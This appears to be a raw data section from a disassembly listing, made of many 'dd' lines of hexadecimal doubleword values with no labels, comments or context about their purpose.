		dd 1D016D96h, 3C7283B4h, 6FE0951Bh, 1601866Eh, 67DC5BC2h
		dd 0BEF01C45h, 94AD30ABh, 28274E20h, 9E065AE0h,	0EDF73B64h
		dd 41496708h, 0CE27C3F4h, 791869B8h, 2801A91Fh,	61B43F4Ch
		dd 0D4150109h, 659DEEE2h, 0CB40E272h, 8F063558h, 91ECD838h
		dd 0EA4400C8h, 6AAE4C12h, 0E97A5884h, 89D83936h, 1CCDF20Ch
		dd 934374EDh, 813A435Bh, 0C8F0AC71h, 30C04784h,	3B8968D6h
		dd 7339C0AFh, 33887806h, 826A3603h, 0A11FC20Bh,	20808FCAh
		dd 0B278BEEDh, 50032B1Bh, 7E5AB073h, 0F0880249h, 51965729h
		dd 70EFFE40h, 4235D500h, 47FB9E6Ch, 62DCB062h, 0DACCFE68h
		dd 4932C5C0h, 55B94C1Fh, 0DC07A1C7h, 1F3F14F1h,	33AA2F0h
		dd 0AB16B47Ch, 38032366h, 0CA17964Ch, 20781Eh, 3FDA7C2h
		dd 0F7F2B7E5h, 82419400h, 7D3C986Ah, 999D0EBEh,	1EC353E6h
		dd 64A85721h, 860101ECh, 8AA335F0h, 8BF0175Eh, 1AED0305h
		dd 41A5C1A8h, 0FE71C0C7h, 6EF67A33h, 21C4B507h,	4851BF05h
		dd 0E3C795E0h, 0EEA9004Ch, 578E67Ah, 0FD48CBB6h, 7058602Fh
		dd 394AE74h, 0D1E84D6Ah, 0FAC81D69h, 2F00B4F7h,	28CD5336h
		dd 191214Ch, 0D007831Ch, 8025B5CBh, 12CEF780h, 0A3411Ah
		dd 0AAF0177Ch, 2BB5B40h, 6C733Ch, 0D488B0E2h, 710FA9h
		dd 793DF3B6h, 0F26F9C67h, 0D6CEF0Fh, 96E16323h,	4529118Bh
		dd 395A02B7h, 0C3EFF149h, 0A62907A9h, 82AA0A40h, 682FC179h
		dd 0ED4883Ah, 887A3E88h, 0F100C3CDh, 1C2D52B5h,	938F033Ch
		dd 747807E2h, 73A8CE00h, 0A98A5DA7h, 0A0370713h, 500D8B1Ch
		dd 70A628CAh, 4A00C098h, 6DC7CBE4h, 12F63F9Ah, 0C955E7h
		dd 0C427126h, 1039550h,	4E674D18h, 0CA11D83Dh, 615A1C0Fh
		dd 0B79D4309h, 0A5E02859h, 0DC0195F0h, 8819F1BFh, 0E2EC0EDAh
		dd 0D93700DDh, 6662404Dh, 0E92AE46Ah, 0DE00ACC4h, 0F4BB3E73h
		dd 60EAF8B8h, 0D626D45Ch, 0B100E82Dh, 0B51A870Ch, 1CE3418Dh
		dd 40DD856Ah, 4B7E0D01h, 8301F2C7h, 1C44E1DFh, 218328D1h
		dd 1233D5BDh, 0CE035B98h, 38088F00h, 888464E8h,	52C700B6h
		dd 46C3B986h, 0CB00F497h, 0DF47E34Bh, 28AAF328h, 747CF0D8h
		dd 621D002Bh, 94C0D49Ch, 9D00A82Ah, 0CEEB54EDh,	72E95BE7h
		dd 1EE400D1h, 0CF9372A6h, 31036DEEh, 300BC33Dh,	43D5D1DBh
		dd 686ED0h, 2608898Dh, 7C71024Dh, 79500300h, 2294308Ch
		dd 8D110018h, 75BE3CCAh, 0AF04F83Ah, 2782DA8Eh,	0EC94F4C0h
		dd 0B0A30076h, 1D38310Fh, 5138DDE9h, 8C30CBCh, 73101Ah
		dd 876E9D0Ah, 0D3336FDCh, 530302ECh, 0DABB8E17h, 601E0B6h
		dd 288D009Eh, 0C463F8E4h, 0F90737BDh, 702B3CF5h, 0C07E81F2h
		dd 5A585A4h, 98DCF6AFh
		dd 0B3DC0FE4h, 35946120h, 0BD01E63Eh, 14F4A788h, 5DF83A40h
		dd 226E3B67h, 79909507h, 48D84060h, 0F1002AD0h,	0F5F07C99h
		dd 20BCC1h, 850317E9h, 0A0CB4E5Dh, 4C6BCE00h, 7591FA6Dh
		dd 32BA00BEh, 58C27DB0h, 2D008374h, 526CA464h, 244AE9AAh
		dd 1184222h, 6A218D75h,	0B647F8F4h, 5E5FEB15h, 0B58000D8h
		dd 26745D61h, 594D0013h, 63C54A86h, 3300F781h, 0AF40B7EFh
		dd 37B1E8Dh, 0BEB6E62Bh, 8C936098h, 9BE9D9C0h, 72ECEB00h
		dd 54A6488Eh, 9A14018Fh, 0CBCF0F26h, 0B36C0B4h,	6FE04C01h
		dd 0E998A0F1h, 2E5A2DCh, 6EAC39F5h, 2460B6D7h, 86003120h
		dd 0F203471Ch, 1D4133B0h, 0CF304E9Eh, 0FE409F26h, 676EDD5Fh
		dd 0A2421F17h, 0B2E60300h, 280D6Bh, 38E89681h, 1327BF62h
		dd 7275048h, 0E64830D1h, 0E5D55D71h, 3E46ECh, 0FE2A9985h
		dd 0F8587355h, 67B7FD00h, 0E4BCF4C9h, 20DD676Eh, 0C3B3F044h
		dd 3100AE12h, 4E8CA62Bh, 13F6BBh, 0AC91DC7Ch, 0D0CC4899h
		dd 38CEE00Eh, 0C82CE04Bh, 2C15F38Dh, 0BD3A6Eh, 0D6AEEBFFh
		dd 0C61E09E3h, 0F840A6CAh, 5C0E85E6h, 0D31A0055h, 0BE60C0F4h
		dd 0BF01109Ch, 46FD5E4h, 7BC82EC9h, 2F393938h, 0B003A007h
		dd 313D7041h, 1790AD07h, 0F6D2A300h, 9CA3CACh, 0A5BA241Fh
		dd 55380457h, 9F4C80F3h, 79900399h, 0BC1FD0F0h,	1D006924h
		dd 0C06D89AFh, 127F3AE1h, 44550073h, 0D42E033Bh, 3800B588h
		dd 0C68D4128h, 293E35Dh, 0E67326D2h, 4C4153A3h,	43587072h
		dd 7B3FF900h, 29C4C505h, 0BE1200A1h, 0E67FDEFAh, 8701E011h
		dd 3BD2B94Ah, 20802E8Dh, 0FE9F5847h, 401D33D1h,	6585F5EBh
		dd 0D7C32CA9h, 3B47E127h, 0AF7320h, 51B55CAh, 0DD7163EEh
		dd 8A95401Fh, 25110179h, 5DBD8EAAh, 4033A842h, 0E5984B70h
		dd 0F167FCh, 51EA3D7h, 16C86BE8h, 0B4D06900h, 0ABB252B3h
		dd 42A2007Bh, 0DD6DADAEh, 3B079B8Fh, 1D56D6CAh,	7F904B90h
		dd 0EFE90044h, 937981AFh, 133FEA5Bh, 0CF060061h, 24429E23h
		dd 0C0F817BFh, 84760080h, 0FCB9308h, 9E1E9200h,	468542E9h
		dd 0D2C101EFh, 39F740E7h, 0C90070B0h, 14075B98h, 52A7A8DCh
		dd 5FB1403Fh, 2B3DF75h,	0EA81F84Fh, 27602FB0h, 9416EDADh
		dd 0FE9EE8h, 81EF7CCBh,	0CF009022h, 0FEEE9618h,	1450CA34h
		dd 97E3D572h, 0AB23E803h, 76B395A2h, 0E0010E6h,	0CFA173ECh
		dd 3CCD88F7h, 5B80B544h, 9716A289h, 3F012E1Fh, 0C29228F8h
		dd 5FC2F08h, 0FE6700D7h, 3AF71E0Dh, 0B00A39Dh, 1341C00Ch
		dd 906FAE25h, 0C4431D5Bh, 0C3FAC0E1h, 0C857C936h, 62767901h
		dd 0FEF7BFA3h, 0C0F8A7D8h, 0DCEF86CCh, 0C3000EC7h, 15871EB1h
		dd 2CD485h, 53D3430Dh, 0EF7D9BBh, 467ABF00h, 64DE82F6h
		dd 0F19E0093h, 0F05C29D2h, 2D0372E7h, 0F66A5744h, 2FD0E140h
		dd 67D304D4h, 0F06FF069h, 0DB957C68h, 0E4D8BA01h, 0C0B06386h
		dd 0B8722420h, 6F5003Eh, 0D66D131Eh, 8E006958h,	0CE22709Eh
		dd 7F9D066h, 0C33B2147h, 0B968A035h, 29005896h,	0EE7C6B4Bh
		dd 1F41432Eh, 33CA51Fh,	98C37FBAh, 8C6A9087h, 0BF05F5B0h
		dd 7821CE82h, 0FE76D080h, 89150062h, 267BFF25h,	4FE897E0h
		dd 4145AC00h, 0D43F6D5Bh, 0A805002Fh, 20553486h, 1300D71Dh
		dd 0F946E68Dh, 75BFC63h, 0E89AA9D6h, 31F5D087h,	0BF009076h
		dd 6FCF078Bh, 7D194EFh,	790839C5h, 0A1E2402Ch, 291C12C4h
		dd 0DF804757h, 0B6C36836h, 6E3102A3h, 0DAE65BD3h, 14F02A40h
		dd 0A091291Dh, 0BEF91D03h, 0E0D0D26Fh, 8BCC70h,	0DC58786h
		dd 9EDC9627h, 0ACAAB800h, 0AE68B41Fh, 25AF2675h, 1160194Ch
		dd 5B0880B6h, 21C3D9Eh,	0FAF60034h, 0C0E1781Eh,	0DB00601Bh
		dd 0BEE3DFDEh, 70933D74h, 14A6002Ah, 25FDA923h,	77000C2Fh
		dd 75869E52h, 65B008h, 1E0E2062h, 2317B46Ch, 0BAA85A39h
		dd 0D68A071Fh, 7C40367Eh, 0BC7BB5h, 0A1135368h,	63747903h
		dd 94EED207h, 0C6E02F26h, 160C25FAh, 2C2A73h, 5B624DD4h
		dd 80B013E2h, 90081E02h, 604EA68Fh, 19D535BAh, 0D8987920h
		dd 75D17002h, 0D1AAF203h, 0B8ADBDBFh, 1D233A20h, 2CC108D3h
		dd 1C6F005Eh, 659F6637h, 5B00A2ECh, 93B484Fh, 1F7B478Dh
		dd 0C0887784h, 0EB1F5831h, 0CD006F1Dh, 9836058Ah, 72442127h
		dd 7837005Ch, 3DE994DCh, 81794E19h, 0CAFB2D17h,	0C3D600FBh
		dd 441F40ABh, 0AF882300h, 8018090Ah, 0C9C10558h, 0C04C83CFh
		dd 407DFB11h, 2A9CE700h, 0D2F759B6h, 15B30E08h,	6EC0C2F5h
		dd 0CB445A9Fh, 0F1DBD124h, 94C8D601h, 0C0D3183Fh, 4DED8FCh
		dd 0E27D9E80h, 0C2F8D097h, 6700CD1Dh, 688657E4h, 701B6Fh
		dd 853A534Bh, 8E07F5B4h, 0DB871A07h, 73A09AA4h,	1910590h
		dd 0B9923F4Bh, 0E8D93375h, 0EA0DE2F2h, 787EB8EFh, 0CD49D400h
		dd 0E72E0083h, 0E22AC329h, 0A290EE57h, 0A6B8104Ah, 0A64DC900h
		dd 916FE8F3h, 255AD500h, 0CB288A63h, 9DA09E3h, 0B4001A2Fh
		dd 235895F0h, 3480A709h, 92EC46F2h, 0BCF75F84h,	0A8974020h
		dd 0E80F4E1Fh, 8F88DD40h, 0B86FB0F5h, 792D01A0h, 0D137EF85h
		dd 4E4030F7h, 9202AA07h, 1AD0F0E1h, 2B3957h, 0BDF4A7C5h
		dd 622DDDD7h, 4CEE700h,	189B70F6h, 631D018Ah, 381448AFh
		dd 288F31ACh, 430A01B4h, 58DAA671h, 0A1D1AFD3h,	1EC4EBBFh
		dd 7F170069h, 0E26C10A7h, 41004BDDh, 0D9BCF81Bh, 1A0D092h
		dd 3A7E0321h, 0CCAF15D3h, 2B0365AEh, 0BC75D4Fh,	31FFF819h
		dd 316460CAh, 9D010C67h, 0E01EE601h, 0E4586946h, 1D6E4DE8h
		dd 0BD4C136Bh, 0E9058F8Bh, 9387E0A0h, 0D00E2E0h, 0FE35EC71h
		dd 0BF098Ah, 0B395B796h, 9FF95DF8h, 0BA2A039h, 80AB5412h
		dd 3FF66040h, 18DF1D31h, 0C2904042h, 0CEAC6E8Eh, 0A24A28C0h
		dd 0ECC737FEh, 1F2876E5h, 7BDB9Eh, 0FFA8B79Dh, 275C79C3h
		dd 2DC400D0h, 39E3B03Fh, 94163E4Ch, 745D0200h, 2AD55EB5h
		dd 96C9C31Bh, 688CDAB0h, 1388A4h, 0ED497F6Eh, 741B4D41h
		dd 1EF83Dh, 782A62A2h, 0E82EC46h, 24A03C1Ch, 3A192900h
		dd 440F02DFh, 23B604C6h, 80E1F6BBh, 38B91E2h, 89F017A1h
		dd 4588A5B7h, 0C70E81DEh, 0A0E32492h, 0A97FB111h, 3DDA006Ah
		dd 0B7E6D580h, 4C016D05h, 0DE431991h, 7D80DADh,	1E7100E9h
		dd 9473DB36h, 59259087h, 0E9FCDFh, 1F304885h, 920F97B5h
		dd 0C09AD904h, 653F63DDh, 665706C1h, 19B63E20h,	2AA29E0Fh
		dd 457CA0B5h, 1FA4D0E7h, 0C707F2EBh, 0CED9AE58h, 2500524Fh
		dd 0CD4887F5h, 27C5C100h, 3B42F295h, 0F3913C04h, 0FBFC4407h
		dd 75DCC09Fh, 0DA748F50h, 0AD1A2513h, 3257AC00h, 333FDBh
		dd 7BBC9CACh, 387DDFE9h, 43E70900h, 3475913Bh, 1E79FEF5h
		dd 83B580B6h, 9E676417h, 0C3A85AA3h, 0B90F0A7Ah, 0CE593D82h
		dd 7033CB1h, 98C094A1h,	12934B38h, 0D5E4A0h, 290472B8h
		dd 3360F355h, 0CBC0767Ch, 0AF100D2h, 0E2306795h, 593A6A2Dh
		dd 512472B9h, 4E40747Fh, 0AD639Ah, 37C5B1D4h, 55BAEE11h
		dd 0D2BB8707h, 0C72005DEh, 438BE2h, 29CB35AAh, 5309D932h
		dd 28B448h, 15E831F0h, 0A0281095h, 276CED8Ch, 0E4016E67h
		dd 80F80E04h, 75A97DA8h, 0C0DB081Fh, 779E5328h,	0B89CD63Dh
		dd 0BF5EA200h, 18FC5766h, 61A54712h, 2E1446CDh,	0C86284h
		dd 6EE5688h, 3E95722h, 16E37A51h, 6088989Dh, 37033BA3h
		dd 21B712A1h, 9F89B8FCh, 3C490047h, 0EBBE72D0h,	2207F71Ah
		dd 0F11437B8h, 928905B0h
		dd 83D90061h, 825B4AC8h, 0A401519Eh, 0F2256311h, 81C83D26h
		dd 358F1334h, 6AA20004h, 0A5D10EA2h, 7313A01h, 6F11236Eh
		dd 2DB5F0D3h, 48C33AB7h, 0EEABB800h, 0F9DCBCC1h, 1C2F4100h
		dd 0DFDD4ADAh, 6A24170Ch, 160D03B8h, 0C7CACBDEh, 15490640h
		dd 0ADF1C600h, 1D9FE5E8h, 0F4730021h, 5AA07737h, 0D15071F3h
		dd 0DB00D590h, 428DF7AEh, 376BCDFh, 0BF197481h,	96886556h
		dd 7A7FCC21h, 2B132700h, 78C39475h, 6F7907FEh, 0D0EA99DCh
		dd 4E3C9D73h, 0EB904609h, 0A0E80F7Bh, 0D1C3E963h, 599B00B8h
		dd 7D783041h, 0A1008AAFh, 0E77CA9ECh, 193E360h,	385B79D3h
		dd 70624CFEh, 92097B94h, 828D33C6h, 843B89ACh, 0B4D0F890h
		dd 50BD90F3h, 1FD9495h,	81BA2F52h, 0C4DD7C5Eh, 8A042BD5h
		dd 9F71267Bh, 2CD99481h, 550024h, 0BE1C97EBh, 6D09F644h
		dd 6C3E1A00h, 0FACB45F0h, 0B7200C3h, 394DCCB7h,	23305905h
		dd 0C52A08BDh, 637A0768h, 60413F16h, 31D5F708h,	936B6100h
		dd 493A14CFh, 0E299007Bh, 52A84059h, 1C00F288h,	0B53306F3h
		dd 0F25DCE29h, 66CC02DFh, 8CEE84C3h, 0E6C91540h, 952E4C00h
		dd 76A7B240h, 58F60001h, 6E61C469h, 1100E428h, 0D0248843h
		dd 4C4CAC2Eh, 4F0FB00Fh, 6220AFEAh, 8D7A4E05h, 0F4EF4A0Ah
		dd 0C500F0ACh, 639C7E89h, 0D52F1C32h, 30F864F1h, 8BF4EBEAh
		dd 0CADB7F00h, 8DE03790h, 937C02E5h, 40C82DB0h,	0DB80B0E3h
		dd 921E52A2h, 0BB95F67Dh, 0F44904F0h, 0E77148B9h, 11686096h
		dd 0BEDEF000h, 0A2C98F1h, 0A4B8006Dh, 619D7EDDh, 0F00022ECh
		dd 0F162DC07h, 0EBB67C8h, 60CD6A4Bh, 0EC36B4E0h, 4000D0DBh
		dd 8487E2B8h, 72082CBh,	4E67FAF3h, 62F8B038h, 0D1007B0Ah
		dd 36E8F48Ah, 4A59DABCh, 48F8003Ch, 7A697764h, 68B49700h
		dd 0E45E62F4h, 390407EDh, 40E1F847h, 0BF34554Dh, 0BECA0D0Bh
		dd 4CD580F6h, 0B077D893h, 8CE82680h, 0ABBC0A6Dh, 24E900A8h
		dd 0ADA20E23h, 0EC3E1B24h, 184CFD1Eh, 0A251067h, 313D389Ah
		dd 319C6604h, 2B42717h,	2330B418h, 0FC4B073Ah, 3001F05Ah
		dd 0FB3C6A98h, 992211C7h, 20F94E82h, 146CF272h,	0BFEEB401h
		dd 9DE00E03h, 0A6B7F4h,	602C3385h, 0CB6D047Dh, 2352B900h
		dd 0C0B305Bh, 0F9FA0092h, 21205835h, 6B1F9071h,	8CCFD5F3h
		dd 2F4B407Eh, 3ACF1453h, 0B25C9131h, 1315C400h,	0D9B385C2h
		dd 39B1D11Fh, 613BA7C0h, 77EF74C3h, 6BECE541h, 0C6F7CF2h
		dd 85B693DDh, 0FD3A3329h, 3AC3C96h, 0E51720Ch, 5B080A34h
		dd 141CB6h, 8450C19Bh, 0AA00E5ACh, 9E580BCFh, 0FCAE75h
		dd 311A5949h, 10032205h, 89807A00h, 173E5713h, 0FA520197h
		dd 34698DD2h, 0E9ED0CBh, 5A032F03h, 0C0316237h,	0BB8072h
		dd 0C22829BFh, 0A68D0470h, 0AEAD4E00h, 0CB6820B0h, 191638CDh
		dd 5414017Dh, 0D231C4CAh, 0FD40DC36h, 101EC900h, 0AB15D39Ch
		dd 71CA1CDEh, 0BBDC81B1h, 0F890645Eh, 0B503A71Fh, 946B2643h
		dd 0ACD8023Ch, 0B1E769E4h, 0C6B856E0h, 79DC5706h, 1421A12Eh
		dd 946AD659h, 0ADBC8D00h, 437BD139h, 0D7203A60h, 0EA8796h
		dd 631EB771h, 1F6D484Eh, 175BE100h, 0CEECDFF5h,	68350A73h
		dd 9CD09B12h, 73369C74h, 0B9D0BF60h, 140EBC63h,	20BA3C4Bh
		dd 0FB0852A9h, 0B4240377h, 0A426BEDCh, 303371B0h, 37008B7Fh
		dd 59273B9Eh, 0EEF962BFh, 0A555007Bh, 6D35EFA2h, 9F002116h
		dd 95E852D7h, 1202675h,	0BE7119E9h, 7880C1B1h, 0D23EA8h
		dd 1DC4DC5Dh, 7EFD5E70h, 1A1B3146h, 8E909BE1h, 0D3C8A4A9h
		dd 0BFD37B00h, 755BBAh,	4FD0A288h, 0AE829E0Dh, 4E2F7800h
		dd 0BD3CA730h, 0ACA90025h, 8DAFFD36h, 0A000D370h, 1B816FD6h
		dd 0FC7FB60Fh, 0C8F0F1E7h, 0DF992E34h, 0D56507E6h, 0EE10A050h
		dd 400B7D2h, 1A4B0BBEh,	64E9ADD4h, 4009294Dh, 260EAED6h
		dd 7AAF1E23h, 0DB39C2FCh, 88E036C6h, 590EB0BDh,	601AA1CDh
		dd 17E6E3DCh, 0DF754Ch,	133DCC55h, 8F39FCD5h, 825CD300h
		dd 7E9C8BF5h, 0F9760EC8h, 85AEAA46h, 0D166B980h, 1426A5B0h
		dd 11002D7Bh, 45975DB8h, 261B0FE7h, 0CB60F6C3h,	47A6A8E3h
		dd 15DAF701h, 0E42AFA65h, 9AAFE887h, 40FCA742h,	550E0F06h
		dd 0E3F38B01h, 7D8970EBh, 0BFFDD0E3h, 5E560463h, 80CBAC30h
		dd 0BD0295E4h, 8E1A5400h, 0C97C465Ch, 0A4C15CA9h, 9A21BF00h
		dd 0B7194F48h, 8C137D00h, 0FA6B63B8h, 7F2800BDh, 0EE716A43h
		dd 0B6FC22D3h, 0F945EB0Fh, 79514092h, 0FAE4125h, 0C9E96BE4h
		dd 0D2EBF520h, 76E273B9h, 0D65EDE00h, 0C59D637Eh, 24D30002h
		dd 0A569A00Ch, 0BB7873AFh, 579F8C00h, 0A2E8F112h, 0E76C3B21h
		dd 0A3824D00h, 0A864FDC5h, 0C96A5600h, 729DF380h, 52270366h
		dd 0E41AE2C4h, 7BB63090h, 53FD6400h, 7AC3D2E0h,	5A000EAh
		dd 0D9D61069h, 0DF2C5813h, 7707788Ah, 0F930596Dh, 64F850h
		dd 0C412EE72h, 7ABE2C5h, 0C86DF500h, 3DA8C635h,	0DAF90054h
		dd 2F3AE7D5h, 0B70001ABh, 0C0B9F2E2h, 197DEFh, 8521D263h
		dd 36094EBFh, 0D3051700h, 62781B9Ah, 0AD3F006Ah, 87FC7D2Bh
		dd 81E88D90h, 2800D675h, 5D2DC112h, 3AFFDE8Eh, 0B0846CD8h
		dd 80D2245Ch, 0F088A578h, 33EDF900h, 78283CFEh,	40F208h
		dd 0C9232C35h, 0B53770CDh, 33B19000h, 55C30B2Dh, 12E5004Fh
		dd 0B7EB2B30h, 300385Ah, 0BDDA189Fh, 5E2CD62h, 0B37FCD2h
		dd 0A60307Eh, 0E90086ECh, 0AA23E06Ah, 9043CC37h, 91A91E68h
		dd 0F57C40DCh, 359C6498h, 764CD248h, 0A0B76900h, 396DEB08h
		dd 0D91804C3h, 0C0C97EF7h, 86B90914h, 93008BF0h, 0A2FE4FDFh
		dd 0C2F495h, 2069104Eh,	19CB1BB9h, 0E3744303h, 80049FD8h
		dd 0A0608651h, 8E7EC9h,	3BAA19CAh, 0B0597232h, 83666A3Ah
		dd 315545E8h, 8741C1D4h, 6E3CCDC4h, 80098D9h, 2870B87Eh
		dd 0AF00497Eh, 0A1F0990Fh, 15BF1CAh, 5FD66FC2h,	0F8DF0801h
		dd 609D2978h, 24D06AC5h, 1C937D81h, 71AB004Ah, 0B615A39Eh
		dd 0B1065F00h, 0A7536FC4h, 63DA00CBh, 8C7C6EDFh, 9919650Fh
		dd 0B80D3D6h, 70A8024h,	0C59CCBA8h, 8DD9D0E1h, 2603D107h
		dd 0FAF1613Dh, 0C9A1E8CCh, 0A7EA3A23h, 0FB64BA80h, 4A84C631h
		dd 4F005E7Eh, 95F52F0h,	17CA3B7h, 8B859960h, 0C9F84931h
		dd 0A4CCE0A8h, 0B643FA00h, 0B4F54E82h, 972600C0h, 1F6A75D0h
		dd 32721D52h, 11F41E00h, 0C6BD0F7Dh, 8AA900D2h,	246BD0C9h
		dd 94E69118h, 410499F4h, 19AACACBh, 71421980h, 0C0637297h
		dd 468AFF78h, 802C9CCCh, 0CD0E0DD5h, 36CE00EEh,	17832C7Fh
		dd 0F18771h, 294D31Ah, 141D66E0h, 0B8C069BAh, 43D5CAA5h
		dd 0F9920045h, 204188B3h, 6A04E36Fh, 0BB336413h, 0E61798D0h
		dd 0E8210340h, 81679E07h, 5FA411C8h, 4D3CA890h,	1EC20043h
		dd 397F8AA3h, 0C3E400E8h, 0B8D33564h, 60BDD2E9h, 0DDDA52h
		dd 0C2D05E76h, 0A489D86Dh, 0BF8AE712h, 8344F100h, 2AF25Ah
		dd 5865137Ch, 1BA171ACh, 3DCBAA00h, 0AF4B0FABh,	1C9700A5h
		dd 0F9CE3C82h, 4902353Eh, 857665D5h, 0C14C05Dh,	60D700D8h
		dd 5BC6ECCBh, 0AC0126F0h, 0F78890D3h, 5AE0E021h, 65450085h
		dd 94CE9CB0h, 73002AC6h, 0B1FB22E6h, 0A1DB3AB7h, 0F3C8159Ch
		dd 2DAE004Dh, 0D39128Dh, 0AA004B2Eh, 0AF869A31h, 0A7BD92h
		dd 2375461Eh, 66FB7161h, 0C601E490h, 8BA84D5h, 0BCE4546Eh
		dd 35E300C0h, 9CF1453Ah, 0C503C1DCh, 0A17BB4EEh, 91390C4h
		dd 2CFF0043h, 0BC76FA53h
		dd 201CA490h, 1A40ECAAh, 293C888h, 9A80296h, 84D02D61h
		dd 6480A342h, 0E11062E6h, 0A0C39800h, 37586C80h, 15FCEFh
		dd 3FBB7AB3h, 0CB2F0BF0h, 0A75F4E00h, 36AFC19Eh, 0A91C3830h
		dd 0E1492180h, 14479045h, 0F8D2462Ch, 8F55BB00h, 7A432E67h
		dd 0E632003Bh, 26B3FFB4h, 0B50B8561h, 8AEBB8h, 0E878657Bh
		dd 0A475005Ah, 2618F8F7h, 5C98167Dh, 0B95D700h,	22C76AEAh
		dd 67F20748h, 7045BFB4h, 8646B185h, 1F30975Ch, 0C6C02D08h
		dd 0B743DB88h, 2853E05Fh, 40107D07h, 0B93ED01Eh, 0D5208E43h
		dd 69AB80AEh, 0C0EA7B3Eh, 99E4FAB8h, 0E500B437h, 0EEAC3891h
		dd 0BA048F72h, 7DF07A64h, 0C99800D5h, 1E391915h, 0C41256D1h
		dd 5D002BF8h, 6F7FB9E4h, 8BB60302h, 0EBDB81FBh,	840240C6h
		dd 75C4BE24h, 0A479E017h, 28130397h, 0E3CA12F8h, 45A81900h
		dd 0CC7B72FCh, 0A3D31F14h, 0F14A014Eh, 51C99981h, 0EAF98714h
		dd 1BDE6740h, 8DDD9500h, 0EC9683EAh, 54E800BDh,	0BBA0ABD0h
		dd 0D30B0AF8h, 0D7E9C693h, 0C4ADBA84h, 9BC03C0h, 47D8FBA2h
		dd 0F7305748h, 0DBD47401h, 0C269009Dh, 99B2E1E3h, 0C03C94Ch
		dd 0E72027B8h, 8665F05Ch, 76D6000Eh, 0A1395BAFh, 0D0005A2h
		dd 0C2719F6Bh, 5077B90Fh, 2CAE5819h, 1322FBC7h,	9F9006A2h
		dd 0C0300894h, 0A0082016h, 515658FBh, 58714000h, 0DA4A5282h
		dd 0BDB47F18h, 86202B50h, 14BEA348h, 8828C2EDh,	9C54807Ah
		dd 7BE54EFBh, 51AF321Dh, 0EA3DB140h, 1BDBEB8h, 0A84A9B35h
		dd 48A2B910h, 0FB059854h, 5F0AED82h, 0B12D2C70h, 0F2D602FBh
		dd 54C38E03h, 0A813CD2Eh, 406E2402h, 0ECCE990Ch, 7393002Bh
		dd 0AA45A270h, 0D4F9D254h, 0BF60B229h, 1C7FC831h, 2D400151h
		dd 0DD3CD312h, 4EAFD011h, 809620CFh, 0D951AA15h, 49050E18h
		dd 0B94C5FCEh, 0A7E40B41h, 93C45C00h, 4809953Bh, 0CED20355h
		dd 0BF91E026h, 854AF8E0h, 5C738D00h, 42B74EA8h,	3A6601FEh
		dd 0F021DD86h, 55089877h, 79B021h, 0FAA6E04h, 0BD138D28h
		dd 0D749BA63h, 7B7CD326h, 78A0058h, 86EFD49Ah, 5D1DDFB5h
		dd 3A80AA8Bh, 65639FC7h, 0FA780003h, 67F94756h,	8900F454h
		dd 0C37AC619h, 0A87E75h, 0D5218494h, 8E32053Ch,	0D1170107h
		dd 9E901E79h, 141C06Ah,	59BDABACh, 0D82E76A0h, 0F87B398Fh
		dd 8069A238h, 0C5A4F023h, 0F21D5C89h, 9F0C0061h, 98CA6348h
		dd 0D600E518h, 6C7E24DAh, 10D1A7Ch, 7B6A314Ch, 0F47AFED0h
		dd 4A000882h, 0B7E19C47h, 0B4DD45h, 9252F998h, 70FF8F29h
		dd 20BCF8F5h, 4A0009F0h, 17BF56CCh, 0EF0F6h, 0AB9395C7h
		dd 0CB0280B9h, 3F00C37Dh, 0C4525F8Fh, 0A66509h,	0A2056177h
		dd 954A2B25h, 4D8DAA0Fh, 0F2A900A7h, 0D6AE1h, 8229AE11h
		dd 0FE2CD305h, 43206462h, 0CA47E0E7h, 9A6A0146h, 0B38E820Bh
		dd 8BE72144h, 34BA791h,	42EEDDh, 18BA8511h, 6EBA97Fh, 0BBB40E01h
		dd 3970AD1h, 0F3209Fh, 0AC85F217h, 613E1694h, 6EF093E9h
		dd 79D36B06h, 0E7F308F9h, 0E28032BFh, 0C81EA614h, 0A9690084h
		dd 0DC236FD2h, 950F6830h, 0A077A1C2h, 8DF51237h, 2A6D385Fh
		dd 0D160410Ch, 70188E10h, 6FF28536h, 89EF07BAh,	7047C177h
		dd 9408EBCBh, 0BE383BFAh, 0DA3E6Dh, 0E45D8F27h,	15BDCCDh
		dd 5639C073h, 0C588FED8h, 9F38E455h, 9400BD7Ah,	0A5AEB93Fh
		dd 0FCD0ACh, 5B018220h,	3AE58D40h, 4A6D2700h, 552C4C12h
		dd 0EBE40081h, 0EAAFBCCFh, 0A8018368h, 543F8828h, 4BCCD17Ch
		dd 3FFF4CAh, 6E95AABCh,	0D0E786B6h, 0DC92AD01h,	33BE2200h
		dd 2D67F63Ch, 0A69F00A9h, 2C3E71C5h, 3600746Ah,	0D9734107h
		dd 1E13782Eh, 0FE35DE17h, 0EA5D7783h, 0FA37D4Bh, 0CED6211Dh
		dd 0FA373A40h, 7999C06h, 2426635Bh, 3FA52075h, 80E5D642h
		dd 34E11851h, 1CBEE022h, 73F61D32h, 213E7108h, 0A2390031h
		dd 2A38F1ABh, 0F4B9745Fh, 0B1730043h, 2D68C68Eh, 3B0595B7h
		dd 785F1D27h, 6B5081AFh, 4890B0DFh, 0F0C643E7h,	0B94200CAh
		dd 4009AB59h, 26F0247Ch, 5E18891Fh, 1DB36301h, 0A9837BC9h
		dd 0D16E4B90h, 0AC61000h, 0DC1DEDBDh, 0F33D1DF9h, 0DF6080A7h
		dd 0C907D330h, 2AE771Ch, 34BB8080h, 92A0B6h, 0F34645EFh
		dd 5AEB3EA4h, 0A1001EF6h, 82C3EED2h, 0EE9E1CCh,	0ADEC02D1h
		dd 0AF5E7CA0h, 8B0CE634h, 51A0418Ch, 78F913DBh,	88EB0006h
		dd 1E862E08h, 0F028BB00h, 0DFCC3D29h, 46F043h, 0E674321Fh
		dd 0D8A177FFh, 823EAFFAh, 72750347h, 0E844029Dh, 366F315h
		dd 607026D5h, 0D6C0C931h, 8F303CA4h, 0B7C198F2h, 621101D5h
		dd 0B0EDF175h, 3EA9F1B4h, 85892201h, 0D4602906h, 6A7B00AFh
		dd 0C6808C75h, 0E630C902h, 854FB9A2h, 0C29F87Eh, 0C5A5D1F0h
		dd 53073618h, 8B32848Eh, 0EB13101h, 4DEFD8D7h, 0D590687h
		dd 88DBB373h, 552D190Fh, 0A090EEFAh, 0FEAA92BDh, 0D8520779h
		dd 0A059CBD3h, 0B5B91F16h, 0C10001FCh, 60B10F56h, 0F35A3FD8h
		dd 1C94660h, 6E081C85h,	0F0CCCB89h, 390053A7h, 84E729C0h
		dd 0C85F41h, 0D12A013Bh, 58B54AE8h, 2E30B603h, 0C3FE966Ah
